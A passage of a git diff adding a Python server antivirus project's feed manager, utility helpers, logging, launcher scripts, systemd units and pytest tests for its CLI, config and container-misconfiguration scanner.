"C2"), + entry.get("source", name), + )) + elif ioc_type == "url": + url_rows.append(( + entry.get("value", ""), + entry.get("threat_name", ""), + entry.get("type", "malware_distribution"), + entry.get("source", name), + )) + + if hash_rows: + hashes_added = self.hash_db.bulk_add(hash_rows) + if ip_rows: + ips_added = self.ioc_db.bulk_add_ips(ip_rows) + if domain_rows: + domains_added = self.ioc_db.bulk_add_domains(domain_rows) + if url_rows: + urls_added = self.ioc_db.bulk_add_urls(url_rows) + + total = hashes_added + ips_added + domains_added + urls_added + + # Persist last-update timestamp. + self.hash_db.set_meta(f"feed_{name}_updated", datetime.utcnow().isoformat()) + + logger.info( + "Feed '%s': %d hashes, %d IPs, %d domains, %d URLs", + name, hashes_added, ips_added, domains_added, urls_added, + ) + + return { + "feed": name, + "fetched": len(entries), + "inserted": total, + "hashes": hashes_added, + "ips": ips_added, + "domains": domains_added, + "urls": urls_added, + } + + # ------------------------------------------------------------------ + # Status + # ------------------------------------------------------------------ + + def get_status(self) -> Dict[str, Any]: + """Return per-feed last-update times and aggregate stats.""" + self.hash_db.initialize() + self.ioc_db.initialize() + + feed_status: Dict[str, Any] = {} + for name in self._feeds: + last = self.hash_db.get_meta(f"feed_{name}_updated") + feed_status[name] = { + "last_updated": last, + } + + return { + "db_path": str(self._db_path), + "hash_count": self.hash_db.count(), + "hash_stats": self.hash_db.get_stats(), + "ioc_stats": self.ioc_db.get_stats(), + "feeds": feed_status, + } + + # ------------------------------------------------------------------ + # Auto-update + # ------------------------------------------------------------------ + + def auto_update(self, interval_hours: int = 6) -> None: + """Start a background thread that periodically calls :meth:`update_all`. + + Call :meth:`stop_auto_update` to stop the thread. + """ + if self._auto_update_thread and self._auto_update_thread.is_alive(): + logger.warning("Auto-update thread is already running") + return + + self._auto_update_stop.clear() + + def _loop() -> None: + logger.info("Auto-update started (every %d hours)", interval_hours) + while not self._auto_update_stop.is_set(): + try: + self.update_all() + except Exception: + logger.exception("Auto-update cycle failed") + self._auto_update_stop.wait(timeout=interval_hours * 3600) + logger.info("Auto-update stopped") + + self._auto_update_thread = threading.Thread( + target=_loop, name="ayn-auto-update", daemon=True + ) + self._auto_update_thread.start() + + def stop_auto_update(self) -> None: + """Signal the auto-update thread to stop.""" + self._auto_update_stop.set() + if self._auto_update_thread: + self._auto_update_thread.join(timeout=5) + + # ------------------------------------------------------------------ + # Integrity + # ------------------------------------------------------------------ + + def verify_db_integrity(self) -> Dict[str, Any]: + """Run ``PRAGMA integrity_check`` on the database. + + Returns a dict with ``ok`` (bool) and ``details`` (str). + """ + self.hash_db.initialize() + + try: + result = self.hash_db.conn.execute("PRAGMA integrity_check").fetchone() + ok = result[0] == "ok" if result else False + detail = result[0] if result else "no result" + except sqlite3.DatabaseError as exc: + ok = False + detail = str(exc) + + status = {"ok": ok, "details": detail} + if not ok: + logger.error("Database integrity check FAILED: %s", detail) + else: + logger.info("Database integrity check passed") + return status + + # ------------------------------------------------------------------ + # Cleanup + # ------------------------------------------------------------------ + + def close(self) -> None: + """Stop background threads and close databases.""" + self.stop_auto_update() + self.hash_db.close() + self.ioc_db.close() diff --git a/ayn-antivirus/ayn_antivirus/signatures/yara_rules/.gitkeep b/ayn-antivirus/ayn_antivirus/signatures/yara_rules/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/utils/__init__.py b/ayn-antivirus/ayn_antivirus/utils/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/utils/helpers.py b/ayn-antivirus/ayn_antivirus/utils/helpers.py new file mode 100644 index 0000000..010e456 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/utils/helpers.py @@ -0,0 +1,179 @@ +"""General-purpose utility functions for AYN Antivirus.""" + +from __future__ import annotations + +import hashlib +import os +import platform +import re +import socket +import uuid +from datetime import timedelta +from pathlib import Path +from typing import Any, Dict + +import psutil + +from ayn_antivirus.constants import SCAN_CHUNK_SIZE + + +# --------------------------------------------------------------------------- +# Human-readable formatting +# --------------------------------------------------------------------------- + +def format_size(size_bytes: int | float) -> str: + """Convert bytes to a human-readable string (e.g. ``"14.2 MB"``).""" + for unit in ("B", "KB", "MB", "GB", "TB"): + if abs(size_bytes) < 1024: + return f"{size_bytes:.1f} {unit}" + size_bytes /= 1024 + return f"{size_bytes:.1f} PB" + + +def format_duration(seconds: float) -> str: + """Convert seconds to a human-readable duration (e.g. ``"1h 23m 45s"``).""" + if seconds < 0: + return "0s" + td = timedelta(seconds=int(seconds)) + parts = [] + total_secs = int(td.total_seconds()) + + hours, rem = divmod(total_secs, 3600) + minutes, secs = divmod(rem, 60) + + if hours: + parts.append(f"{hours}h") + if minutes: + parts.append(f"{minutes}m") + parts.append(f"{secs}s") + + return " ".join(parts) + + +# --------------------------------------------------------------------------- +# Privilege check +# --------------------------------------------------------------------------- + +def is_root() -> bool: + """Return ``True`` if the current process is running as root (UID 0).""" + return os.geteuid() == 0 + + +# --------------------------------------------------------------------------- +# System information +# --------------------------------------------------------------------------- + +def get_system_info() -> Dict[str, Any]: + """Collect hostname, OS, kernel, uptime, CPU, and memory details.""" + mem = psutil.virtual_memory() + boot = psutil.boot_time() + uptime_secs = psutil.time.time() - boot + + return { + "hostname": socket.gethostname(), + "os": f"{platform.system()} {platform.release()}", + "os_pretty": platform.platform(), + "kernel": platform.release(), + "architecture": platform.machine(), + "cpu_count": psutil.cpu_count(logical=True), + "cpu_physical": psutil.cpu_count(logical=False), + "cpu_percent": psutil.cpu_percent(interval=0.1), + "memory_total": mem.total, + "memory_total_human": format_size(mem.total), + "memory_available": mem.available, + "memory_available_human": format_size(mem.available), + "memory_percent": mem.percent, + "uptime_seconds": uptime_secs, + "uptime_human": format_duration(uptime_secs), + } + + +# --------------------------------------------------------------------------- +# Path safety +# --------------------------------------------------------------------------- + +def safe_path(path: str | Path) -> Path: + """Resolve and validate a path. + + Expands ``~``, resolves symlinks, and ensures the result does not + escape above the filesystem root via ``..`` traversal. + + Raises + ------ + ValueError + If the path is empty or contains null bytes. + """ + s = str(path).strip() + if not s: + raise ValueError("Path must not be empty") + if "\x00" in s: + raise ValueError("Path must not contain null bytes") + + resolved = Path(os.path.expanduser(s)).resolve() + return resolved + + +# --------------------------------------------------------------------------- +# ID generation +# --------------------------------------------------------------------------- + +def generate_id() -> str: + """Return a new UUID4 hex string (32 characters, no hyphens).""" + return uuid.uuid4().hex + + +# --------------------------------------------------------------------------- +# File hashing +# --------------------------------------------------------------------------- + +def hash_file(path: str | Path, algo: str = "sha256") -> str: + """Return the hex digest of *path* using the specified algorithm. + + Reads the file in chunks of :pydata:`SCAN_CHUNK_SIZE` for efficiency. + + Parameters + ---------- + algo: + Any algorithm accepted by :func:`hashlib.new`. + + Raises + ------ + OSError + If the file cannot be opened or read. + """ + h = hashlib.new(algo) + with open(path, "rb") as fh: + while True: + chunk = fh.read(SCAN_CHUNK_SIZE) + if not chunk: + break + h.update(chunk) + return h.hexdigest() + + +# --------------------------------------------------------------------------- +# Validation +# --------------------------------------------------------------------------- + +# Compiled once at import time. +_IPV4_RE = re.compile( + r"^(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}" + r"(?:25[0-5]|2[0-4]\d|[01]?\d\d?)$" +) +_DOMAIN_RE = re.compile( + r"^(?:[a-zA-Z0-9](?:[a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+" + r"[a-zA-Z]{2,}$" +) + + +def validate_ip(ip: str) -> bool: + """Return ``True`` if *ip* is a valid IPv4 address.""" + return bool(_IPV4_RE.match(ip.strip())) + + +def validate_domain(domain: str) -> bool: + """Return ``True`` if *domain* looks like a valid DNS domain name.""" + d = domain.strip().rstrip(".") + if len(d) > 253: + return False + return bool(_DOMAIN_RE.match(d)) diff --git a/ayn-antivirus/ayn_antivirus/utils/logger.py b/ayn-antivirus/ayn_antivirus/utils/logger.py new file mode 100644 index 0000000..3a449cb --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/utils/logger.py @@ -0,0 +1,101 @@ +"""Logging setup for AYN Antivirus. + +Provides a one-call ``setup_logging()`` function that configures a +rotating file handler and an optional console handler with consistent +formatting across the entire application. +""" + +from __future__ import annotations + +import logging +import os +import sys +from logging.handlers import RotatingFileHandler +from pathlib import Path +from typing import Optional + +from ayn_antivirus.constants import DEFAULT_LOG_PATH + +# --------------------------------------------------------------------------- +# Format +# --------------------------------------------------------------------------- +_LOG_FORMAT = "[%(asctime)s] %(levelname)s %(name)s: %(message)s" +_DATE_FORMAT = "%Y-%m-%d %H:%M:%S" + +# Rotating handler defaults. +_MAX_BYTES = 10 * 1024 * 1024 # 10 MB +_BACKUP_COUNT = 5 + + +def setup_logging( + log_dir: str | Path = DEFAULT_LOG_PATH, + level: int | str = logging.INFO, + console: bool = True, + filename: str = "ayn-antivirus.log", +) -> logging.Logger: + """Configure the root ``ayn_antivirus`` logger. + + Parameters + ---------- + log_dir: + Directory for the rotating log file. Created automatically. + level: + Logging level (``logging.DEBUG``, ``"INFO"``, etc.). + console: + If ``True``, also emit to stderr. + filename: + Name of the log file inside *log_dir*. + + Returns + ------- + logging.Logger + The configured ``ayn_antivirus`` logger. + """ + if isinstance(level, str): + level = getattr(logging, level.upper(), logging.INFO) + + root = logging.getLogger("ayn_antivirus") + root.setLevel(level) + + # Avoid duplicate handlers on repeated calls. + if root.handlers: + return root + + formatter = logging.Formatter(_LOG_FORMAT, datefmt=_DATE_FORMAT) + + # --- Rotating file handler --- + log_path = Path(log_dir) + try: + log_path.mkdir(parents=True, exist_ok=True) + fh = RotatingFileHandler( + str(log_path / filename), + maxBytes=_MAX_BYTES, + backupCount=_BACKUP_COUNT, + encoding="utf-8", + ) + fh.setLevel(level) + fh.setFormatter(formatter) + root.addHandler(fh) + except OSError: + # If we can't write to the log dir, fall back to console only. + pass + + # --- Console handler --- + if console: + ch = logging.StreamHandler(sys.stderr) + ch.setLevel(level) + ch.setFormatter(formatter) + root.addHandler(ch) + + return root + + +def get_logger(name: str) -> logging.Logger: + """Return a child logger under the ``ayn_antivirus`` namespace. + + Example:: + + logger = get_logger("scanners.file") + # → logging.getLogger("ayn_antivirus.scanners.file") + """ + return logging.getLogger(f"ayn_antivirus.{name}") diff --git a/ayn-antivirus/bin/run-dashboard.sh b/ayn-antivirus/bin/run-dashboard.sh new file mode 100755 index 0000000..8035f4b --- /dev/null +++ b/ayn-antivirus/bin/run-dashboard.sh @@ -0,0 +1,25 @@ +#!/bin/bash +# AYN Antivirus Dashboard Launcher (for launchd/systemd) +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")/.." && pwd)" +DATA_DIR="${AYN_DATA_DIR:-$HOME/ayn-antivirus-data}" + +mkdir -p "$DATA_DIR" "$DATA_DIR/quarantine" "$DATA_DIR/logs" + +export PYTHONPATH="$SCRIPT_DIR:${PYTHONPATH:-}" + +exec /usr/bin/python3 -c " +import os +data_dir = os.environ.get('AYN_DATA_DIR', os.path.expanduser('~/ayn-antivirus-data')) +os.makedirs(data_dir, exist_ok=True) +from ayn_antivirus.config import Config +from ayn_antivirus.dashboard.server import DashboardServer +c = Config() +c.dashboard_host = '0.0.0.0' +c.dashboard_port = 7777 +c.dashboard_db_path = os.path.join(data_dir, 'dashboard.db') +c.db_path = os.path.join(data_dir, 'signatures.db') +c.quarantine_path = os.path.join(data_dir, 'quarantine') +DashboardServer(c).run() +" diff --git a/ayn-antivirus/bin/run-scanner.sh b/ayn-antivirus/bin/run-scanner.sh new file mode 100755 index 0000000..595929e --- /dev/null +++ b/ayn-antivirus/bin/run-scanner.sh @@ -0,0 +1,25 @@ +#!/bin/bash +# AYN Antivirus Scanner Daemon Launcher (for launchd/systemd) +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")/.." && pwd)" +DATA_DIR="${AYN_DATA_DIR:-$HOME/ayn-antivirus-data}" + +mkdir -p "$DATA_DIR" "$DATA_DIR/quarantine" "$DATA_DIR/logs" + +export PYTHONPATH="$SCRIPT_DIR:${PYTHONPATH:-}" + +exec /usr/bin/python3 -c " +import os +data_dir = os.environ.get('AYN_DATA_DIR', os.path.expanduser('~/ayn-antivirus-data')) +os.makedirs(data_dir, exist_ok=True) +from ayn_antivirus.config import Config +from ayn_antivirus.core.scheduler import Scheduler +c = Config() +c.db_path = os.path.join(data_dir, 'signatures.db') +c.quarantine_path = os.path.join(data_dir, 'quarantine') +s = Scheduler(c) +s.schedule_scan('0 0 * * *', 'full') +s.schedule_update(interval_hours=6) +s.run_daemon() +" diff --git a/ayn-antivirus/config/ayn-antivirus-dashboard.service b/ayn-antivirus/config/ayn-antivirus-dashboard.service new file mode 100644 index 0000000..0c0806b --- /dev/null +++ b/ayn-antivirus/config/ayn-antivirus-dashboard.service @@ -0,0 +1,20 @@ +[Unit] +Description=AYN Antivirus Security Dashboard +After=network-online.target +Wants=network-online.target +Documentation=https://github.com/ayn-antivirus + +[Service] +Type=simple +User=root +WorkingDirectory=/opt/ayn-antivirus +ExecStart=/opt/ayn-antivirus/bin/run-dashboard.sh +Restart=always +RestartSec=5 +Environment=PYTHONPATH=/opt/ayn-antivirus +Environment=AYN_DATA_DIR=/var/lib/ayn-antivirus +StandardOutput=journal +StandardError=journal + +[Install] +WantedBy=multi-user.target diff --git a/ayn-antivirus/config/ayn-antivirus-scanner.service b/ayn-antivirus/config/ayn-antivirus-scanner.service new file mode 100644 index 0000000..1894551 --- /dev/null +++ b/ayn-antivirus/config/ayn-antivirus-scanner.service @@ -0,0 +1,20 @@ +[Unit] +Description=AYN Antivirus Scanner Daemon +After=network-online.target +Wants=network-online.target +Documentation=https://github.com/ayn-antivirus + +[Service] +Type=simple +User=root +WorkingDirectory=/opt/ayn-antivirus +ExecStart=/opt/ayn-antivirus/bin/run-scanner.sh +Restart=always +RestartSec=10 +Environment=PYTHONPATH=/opt/ayn-antivirus +Environment=AYN_DATA_DIR=/var/lib/ayn-antivirus +StandardOutput=journal +StandardError=journal + +[Install] +WantedBy=multi-user.target diff --git a/ayn-antivirus/pyproject.toml b/ayn-antivirus/pyproject.toml new file mode 100644 index 0000000..2d8fc52 --- /dev/null +++ b/ayn-antivirus/pyproject.toml @@ -0,0 +1,45 @@ +[build-system] +requires = ["setuptools>=68.0", "wheel"] +build-backend = "setuptools.build_meta" + +[project] +name = "ayn-antivirus" +version = "1.0.0" +description = "Comprehensive server antivirus, anti-malware, anti-spyware, and anti-cryptominer tool" +requires-python = ">=3.9" +dependencies = [ + "click", + "rich", + "psutil", + "yara-python", + "requests", + "pyyaml", + "schedule", + "watchdog", + "cryptography", + "aiohttp", + "sqlite-utils", +] + +[project.scripts] +ayn-antivirus = "ayn_antivirus.cli:main" + +[tool.setuptools.packages.find] +include = ["ayn_antivirus*"] + +[project.optional-dependencies] +dev = [ + "pytest", + "pytest-cov", + "black", + "ruff", +] + +[tool.black] +line-length = 100 + +[tool.ruff] +line-length = 100 + +[tool.pytest.ini_options] +testpaths = ["tests"] diff --git a/ayn-antivirus/start-dashboard.sh b/ayn-antivirus/start-dashboard.sh new file mode 100755 index 0000000..ec62da7 --- /dev/null +++ b/ayn-antivirus/start-dashboard.sh @@ -0,0 +1,39 @@ +#!/bin/bash +# ============================================= +# ⚔️ AYN Antivirus — Dashboard Launcher +# ============================================= +set -e + +cd "$(dirname "$0")" + +# Install deps if needed +if ! python3 -c "import aiohttp" 2>/dev/null; then + echo "[*] Installing dependencies..." + pip3 install -e . 2>&1 | tail -3 +fi + +# Create data dirs +mkdir -p /var/lib/ayn-antivirus /var/log/ayn-antivirus 2>/dev/null || true + +# Get server IP +SERVER_IP=$(hostname -I 2>/dev/null | awk '{print $1}' || echo "0.0.0.0") + +echo "" +echo " ╔══════════════════════════════════════════╗" +echo " ║ ⚔️ AYN ANTIVIRUS DASHBOARD ║" +echo " ╠══════════════════════════════════════════╣" +echo " ║ 🌐 http://${SERVER_IP}:7777 " +echo " ║ 🔑 API key shown below on first start ║" +echo " ║ Press Ctrl+C to stop ║" +echo " ╚══════════════════════════════════════════╝" +echo "" + +exec python3 -c " +from ayn_antivirus.config import Config +from ayn_antivirus.dashboard.server import DashboardServer +config = Config() +config.dashboard_host = '0.0.0.0' +config.dashboard_port = 7777 +server = DashboardServer(config) +server.run() +" diff --git a/ayn-antivirus/tests/__init__.py b/ayn-antivirus/tests/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/tests/test_cli.py b/ayn-antivirus/tests/test_cli.py new file mode 100644 index 0000000..b76d68e --- /dev/null +++ b/ayn-antivirus/tests/test_cli.py @@ -0,0 +1,88 @@ +"""Tests for CLI commands using Click CliRunner.""" +import pytest +from click.testing import CliRunner +from ayn_antivirus.cli import main + + +@pytest.fixture +def runner(): + return CliRunner() + + +def test_help(runner): + result = runner.invoke(main, ["--help"]) + assert result.exit_code == 0 + assert "AYN Antivirus" in result.output or "scan" in result.output + + +def test_version(runner): + result = runner.invoke(main, ["--version"]) + assert result.exit_code == 0 + assert "1.0.0" in result.output + + +def test_scan_help(runner): + result = runner.invoke(main, ["scan", "--help"]) + assert result.exit_code == 0 + assert "--path" in result.output + + +def test_scan_containers_help(runner): + result = runner.invoke(main, ["scan-containers", "--help"]) + assert result.exit_code == 0 + assert "--runtime" in result.output + + +def test_dashboard_help(runner): + result = runner.invoke(main, ["dashboard", "--help"]) + assert result.exit_code == 0 + assert "--port" in result.output + + +def test_status(runner): + result = runner.invoke(main, ["status"]) + assert result.exit_code == 0 + + +def test_config_show(runner): + result = runner.invoke(main, ["config", "--show"]) + assert result.exit_code == 0 + + +def test_config_set_invalid_key(runner): + result = runner.invoke(main, ["config", "--set", "evil_key", "value"]) + assert "Invalid config key" in result.output + + +def test_quarantine_list(runner): + # May fail with PermissionError on systems without /var/lib/ayn-antivirus + result = runner.invoke(main, ["quarantine", "list"]) + # Accept exit code 0 (success) or 1 (permission denied on default path) + assert result.exit_code in (0, 1) + + +def test_update_help(runner): + result = runner.invoke(main, ["update", "--help"]) + assert result.exit_code == 0 + + +def test_fix_help(runner): + result = runner.invoke(main, ["fix", "--help"]) + assert result.exit_code == 0 + assert "--dry-run" in result.output + + +def test_report_help(runner): + result = runner.invoke(main, ["report", "--help"]) + assert result.exit_code == 0 + assert "--format" in result.output + + +def test_scan_processes_runs(runner): + result = runner.invoke(main, ["scan-processes"]) + assert result.exit_code == 0 + + +def test_scan_network_runs(runner): + result = runner.invoke(main, ["scan-network"]) + assert result.exit_code == 0 diff --git a/ayn-antivirus/tests/test_config.py b/ayn-antivirus/tests/test_config.py new file mode 100644 index 0000000..3b2b0f5 --- /dev/null +++ b/ayn-antivirus/tests/test_config.py @@ -0,0 +1,88 @@ +"""Tests for configuration loading and environment overrides.""" +import pytest + +from ayn_antivirus.config import Config +from ayn_antivirus.constants import DEFAULT_DASHBOARD_HOST, DEFAULT_DASHBOARD_PORT + + +def test_default_config(): + c = Config() + assert c.dashboard_port == DEFAULT_DASHBOARD_PORT + assert c.dashboard_host == DEFAULT_DASHBOARD_HOST + assert c.auto_quarantine is False + assert c.enable_yara is True + assert c.enable_heuristics is True + assert isinstance(c.scan_paths, list) + assert isinstance(c.exclude_paths, list) + assert isinstance(c.api_keys, dict) + + +def test_config_env_port_host(monkeypatch): + monkeypatch.setenv("AYN_DASHBOARD_PORT", "9999") + monkeypatch.setenv("AYN_DASHBOARD_HOST", "127.0.0.1") + c = Config() + c._apply_env_overrides() + assert c.dashboard_port == 9999 + assert c.dashboard_host == "127.0.0.1" + + +def test_config_env_auto_quarantine(monkeypatch): + monkeypatch.setenv("AYN_AUTO_QUARANTINE", "true") + c = Config() + c._apply_env_overrides() + assert c.auto_quarantine is True + + +def test_config_scan_path_env(monkeypatch): + monkeypatch.setenv("AYN_SCAN_PATH", "/tmp,/var") + c = Config() + c._apply_env_overrides() + assert "/tmp" in c.scan_paths + assert "/var" in c.scan_paths + + +def test_config_max_file_size_env(monkeypatch): + monkeypatch.setenv("AYN_MAX_FILE_SIZE", "12345") + c = Config() + c._apply_env_overrides() + assert c.max_file_size == 12345 + + +def test_config_load_missing_file(): + """Loading from non-existent file returns defaults.""" + c = Config.load("/nonexistent/path/config.yaml") + assert c.dashboard_port == DEFAULT_DASHBOARD_PORT + assert isinstance(c.scan_paths, list) + + +def test_config_load_yaml(tmp_path): + """Loading a valid YAML config file picks up values.""" + cfg_file = tmp_path / "config.yaml" + cfg_file.write_text( + "scan_paths:\n - /opt\nauto_quarantine: true\ndashboard_port: 8888\n" + ) + c = Config.load(str(cfg_file)) + assert c.scan_paths == ["/opt"] + assert c.auto_quarantine is True + assert c.dashboard_port == 8888 + + +def test_config_env_overrides_yaml(tmp_path, monkeypatch): + """Environment variables take precedence over YAML.""" + cfg_file = tmp_path / "config.yaml" + cfg_file.write_text("dashboard_port: 1111\n") + monkeypatch.setenv("AYN_DASHBOARD_PORT", "2222") + c = Config.load(str(cfg_file)) + assert c.dashboard_port == 2222 + + +def test_all_fields_accessible(): + """Every expected config attribute exists.""" + c = Config() + for attr in [ + "scan_paths", "exclude_paths", "quarantine_path", "db_path", + "log_path", "auto_quarantine", "scan_schedule", "max_file_size", + "enable_yara", "enable_heuristics", "enable_realtime_monitor", + "dashboard_host", "dashboard_port", "dashboard_db_path", "api_keys", + ]: + assert hasattr(c, attr), f"Missing config attribute: {attr}" diff --git a/ayn-antivirus/tests/test_container_scanner.py b/ayn-antivirus/tests/test_container_scanner.py new file mode 100644 index 0000000..406ee7f --- /dev/null +++ b/ayn-antivirus/tests/test_container_scanner.py @@ -0,0 +1,405 @@ +"""Tests for the container scanner module.""" + +from __future__ import annotations + +import json +from unittest.mock import patch + +import pytest + +from ayn_antivirus.scanners.container_scanner import ( + ContainerInfo, + ContainerScanResult, + ContainerScanner, + ContainerThreat, +) + + +# --------------------------------------------------------------------------- +# Data class tests +# --------------------------------------------------------------------------- + +class TestContainerInfo: + def test_defaults(self): + ci = ContainerInfo( + container_id="abc", name="web", image="nginx", + status="running", runtime="docker", created="2026-01-01", + ) + assert ci.ports == [] + assert ci.mounts == [] + assert ci.pid == 0 + assert ci.ip_address == "" + assert ci.labels == {} + + def test_to_dict(self): + ci = ContainerInfo( + container_id="abc", name="web", image="nginx:1.25", + status="running", runtime="docker", created="2026-01-01", + ports=["80:80"], mounts=["/data"], pid=42, + ip_address="10.0.0.2", labels={"env": "prod"}, + ) + d = ci.to_dict() + assert d["container_id"] == "abc" + assert d["ports"] == ["80:80"] + assert d["labels"] == {"env": "prod"} + + +class TestContainerThreat: + def test_to_dict(self): + ct = ContainerThreat( + container_id="abc", container_name="web", runtime="docker", + threat_name="Miner.X", threat_type="miner", + severity="CRITICAL", details="found xmrig", + ) + d = ct.to_dict() + assert d["threat_name"] == "Miner.X" + assert d["severity"] == "CRITICAL" + assert len(d["timestamp"]) == 19 + + def test_optional_fields(self): + ct = ContainerThreat( + container_id="x", container_name="y", runtime="podman", + threat_name="T", threat_type="malware", severity="HIGH", + details="d", file_path="/tmp/bad", process_name="evil", + ) + d = ct.to_dict() + assert d["file_path"] == "/tmp/bad" + assert d["process_name"] == "evil" + + +class TestContainerScanResult: + def test_empty_is_clean(self): + r = ContainerScanResult(scan_id="t", start_time="2026-01-01 00:00:00") + assert r.is_clean is True + assert r.duration_seconds == 0.0 + + def test_with_threats(self): + ct = ContainerThreat( + container_id="a", container_name="b", runtime="docker", + threat_name="T", threat_type="miner", severity="HIGH", + details="d", + ) + r = ContainerScanResult( + scan_id="t", + start_time="2026-01-01 00:00:00", + end_time="2026-01-01 00:00:10", + threats=[ct], + ) + assert r.is_clean is False + assert r.duration_seconds == 10.0 + + def test_to_dict(self): + r = ContainerScanResult( + scan_id="t", + start_time="2026-01-01 00:00:00", + end_time="2026-01-01 00:00:03", + containers_found=2, + containers_scanned=1, + errors=["oops"], + ) + d = r.to_dict() + assert d["threats_found"] == 0 + assert d["duration_seconds"] == 3.0 + assert d["errors"] == ["oops"] + + +# --------------------------------------------------------------------------- +# Scanner tests +# --------------------------------------------------------------------------- + +class TestContainerScanner: + def test_properties(self): + s = ContainerScanner() + assert s.name == "container_scanner" + assert "Docker" in s.description + assert isinstance(s.available_runtimes, list) + + def test_no_runtimes_graceful(self): + """With no runtimes installed scan returns an error, not an exception.""" + s = ContainerScanner() + s._available_runtimes = [] + s._docker_cmd = None + s._podman_cmd = None + s._lxc_cmd = None + r = s.scan("all") + assert isinstance(r, ContainerScanResult) + assert r.containers_found == 0 + assert len(r.errors) == 1 + assert "No container runtimes" in r.errors[0] + + def test_scan_returns_result(self): + s = ContainerScanner() + r = s.scan("all") + assert isinstance(r, ContainerScanResult) + assert r.scan_id + assert r.start_time + assert r.end_time + + def test_scan_container_delegates(self): + s = ContainerScanner() + s._available_runtimes = [] + r = s.scan_container("some-id") + assert isinstance(r, ContainerScanResult) + + def test_run_cmd_timeout(self): + _, stderr, rc = ContainerScanner._run_cmd(["sleep", "10"], timeout=1) + assert rc == -1 + assert "timed out" in stderr.lower() + + def test_run_cmd_not_found(self): + _, stderr, rc = ContainerScanner._run_cmd( + ["this_command_does_not_exist_xyz"], + ) + assert rc == -1 + assert "not found" in stderr.lower() or "No such file" in stderr + + def test_find_command(self): + # python3 should exist everywhere + assert ContainerScanner._find_command("python3") is not None + assert ContainerScanner._find_command("no_such_binary_xyz") is None + + +# --------------------------------------------------------------------------- +# Mock-based integration tests +# --------------------------------------------------------------------------- + +class TestDockerParsing: + """Test Docker output parsing with mocked subprocess calls.""" + + def _make_scanner(self): + s = ContainerScanner() + s._docker_cmd = "/usr/bin/docker" + s._available_runtimes = ["docker"] + return s + + def test_list_docker_parses_output(self): + ps_output = ( + "abc123456789\tweb\tnginx:1.25\tUp 2 hours\t" + "2026-01-01 00:00:00\t0.0.0.0:80->80/tcp" + ) + inspect_output = json.dumps([{ + "State": {"Pid": 42}, + "NetworkSettings": {"Networks": {"bridge": {"IPAddress": "172.17.0.2"}}}, + "Mounts": [{"Source": "/data"}], + "Config": {"Labels": {"app": "web"}}, + }]) + s = self._make_scanner() + with patch.object(s, "_run_cmd") as mock_run: + mock_run.side_effect = [ + (ps_output, "", 0), # docker ps + (inspect_output, "", 0), # docker inspect + ] + containers = s._list_docker() + + assert len(containers) == 1 + c = containers[0] + assert c.name == "web" + assert c.image == "nginx:1.25" + assert c.status == "running" + assert c.runtime == "docker" + assert c.pid == 42 + assert c.ip_address == "172.17.0.2" + assert "/data" in c.mounts + assert c.labels == {"app": "web"} + + def test_list_docker_ps_failure(self): + s = self._make_scanner() + with patch.object(s, "_run_cmd", return_value=("", "error", 1)): + assert s._list_docker() == [] + + def test_inspect_docker_bad_json(self): + s = self._make_scanner() + with patch.object(s, "_run_cmd", return_value=("not json", "", 0)): + assert s._inspect_docker("abc") == {} + + +class TestPodmanParsing: + def test_list_podman_parses_json(self): + s = ContainerScanner() + s._podman_cmd = "/usr/bin/podman" + s._available_runtimes = ["podman"] + podman_output = json.dumps([{ + "Id": "def456789012abcdef", + "Names": ["db"], + "Image": "postgres:16", + "State": "running", + "Created": "2026-01-01", + "Ports": [{"hostPort": 5432, "containerPort": 5432}], + "Pid": 99, + "Labels": {}, + }]) + with patch.object(s, "_run_cmd", return_value=(podman_output, "", 0)): + containers = s._list_podman() + assert len(containers) == 1 + assert containers[0].name == "db" + assert containers[0].runtime == "podman" + assert containers[0].pid == 99 + + +class TestLXCParsing: + def test_list_lxc_parses_output(self): + s = ContainerScanner() + s._lxc_cmd = "/usr/bin/lxc-ls" + s._available_runtimes = ["lxc"] + lxc_output = "NAME STATE IPV4 PID\ntest1 RUNNING 10.0.3.5 1234" + with patch.object(s, "_run_cmd", return_value=(lxc_output, "", 0)): + containers = s._list_lxc() + assert len(containers) == 1 + assert containers[0].name == "test1" + assert containers[0].status == "running" + assert containers[0].ip_address == "10.0.3.5" + assert containers[0].pid == 1234 + + +class TestMisconfigDetection: + """Test misconfiguration detection with mocked inspect output.""" + + def _scan_misconfig(self, inspect_data): + s = ContainerScanner() + s._docker_cmd = "/usr/bin/docker" + ci = ContainerInfo( + container_id="abc", name="test", image="img", + status="running", runtime="docker", created="", + ) + with patch.object(s, "_run_cmd", return_value=(json.dumps([inspect_data]), "", 0)): + return s._check_misconfigurations(ci) + + def test_privileged_mode(self): + threats = self._scan_misconfig({ + "HostConfig": {"Privileged": True}, + "Config": {"User": "app"}, + }) + names = [t.threat_name for t in threats] + assert "PrivilegedMode.Container" in names + + def test_root_user(self): + threats = self._scan_misconfig({ + "HostConfig": {}, + "Config": {"User": ""}, + }) + names = [t.threat_name for t in threats] + assert "RunAsRoot.Container" in names + + def test_host_network(self): + threats = self._scan_misconfig({ + "HostConfig": {"NetworkMode": "host"}, + "Config": {"User": "app"}, + }) + names = [t.threat_name for t in threats] + assert "HostNetwork.Container" in names + + def test_host_pid(self): + threats = self._scan_misconfig({ + "HostConfig": {"PidMode": "host"}, + "Config": {"User": "app"}, + }) + names = [t.threat_name for t in threats] + assert "HostPID.Container" in names + + def test_dangerous_caps(self): + threats = self._scan_misconfig({ + "HostConfig": {"CapAdd": ["SYS_ADMIN", "NET_RAW"]}, + "Config": {"User": "app"}, + }) + names = [t.threat_name for t in threats] + assert "DangerousCap.Container.SYS_ADMIN" in names + assert "DangerousCap.Container.NET_RAW" in names + + def test_sensitive_mount(self): + threats = self._scan_misconfig({ + "HostConfig": {}, + "Config": {"User": "app"}, + "Mounts": [{"Source": "/var/run/docker.sock", "Destination": "/var/run/docker.sock"}], + }) + names = [t.threat_name for t in threats] + assert "SensitiveMount.Container" in names + + def test_no_resource_limits(self): + threats = self._scan_misconfig({ + "HostConfig": {"Memory": 0, "CpuQuota": 0}, + "Config": {"User": "app"}, + }) + names = [t.threat_name for 